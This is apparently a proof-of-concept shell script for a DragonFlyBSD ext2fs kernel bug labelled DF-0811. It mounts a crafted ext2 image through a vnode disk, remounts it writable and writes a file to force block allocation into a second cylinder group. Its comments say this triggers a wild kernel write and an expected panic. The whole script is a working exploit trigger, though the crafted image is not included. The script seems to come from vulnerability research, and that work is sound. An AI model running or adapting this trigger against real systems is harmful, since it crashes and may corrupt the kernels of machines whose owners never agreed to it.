#!/bin/sh
# DF-0811 mount trigger — mounts the crafted ext2 image and writes a file
# to force block allocation in cg=1, hitting the wild setbit.
#
# Run as ROOT on the DragonFlyBSD guest. The mount is root-only; the
# realistic threat model is an admin mounting an attacker-supplied
# filesystem image (USB stick, VM disk, container layer, downloaded image).

set -e
IMG="${1:-df0811.img}"
MNT="/mnt/df0811"
VNDEV="vn4"

echo "=== DF-0811 mount trigger ==="
echo "image: $IMG"

# ensure ext2fs module is loaded
kldload ext2fs 2>/dev/null || true
kldstat -v 2>/dev/null | grep -i ext2 || { echo "ext2fs not loaded"; exit 1; }

# attach image as a vnode disk
vnconfig -c /dev/$VNDEV "$IMG" 2>/dev/null || vnconfig -e $VNDEV "$IMG"
echo "attached $IMG to /dev/$VNDEV"

# mount
mkdir -p "$MNT"
mount -t ext2fs -o rdonly,noatime /dev/${VNDEV} "$MNT" 2>/dev/null || \
    mount -t ext2fs /dev/${VNDEV} "$MNT" 2>/dev/null || \
    mount -t ext2fs /dev/${VNDEV}s0 "$MNT"
echo "mounted at $MNT"

# remount read-write (the init runs on write-path allocation, not mount)
mount -u -w "$MNT"

# create a file and write — block alloc tries cg=0 (nbfree=0) -> cg=1 -> WILD WRITE
echo "triggering block allocation (expect kernel panic)..."
dd if=/dev/zero of="$MNT/trigger" bs=1024 count=1 2>&1 || true
sync 2>/dev/null || true

# if we get here, the bug did NOT fire — cleanup
echo "UNEXPECTED: no panic (bug may be fixed or trigger needs adjustment)"
umount "$MNT" 2>/dev/null || true
vnconfig -u "$VNDEV" 2>/dev/null || true
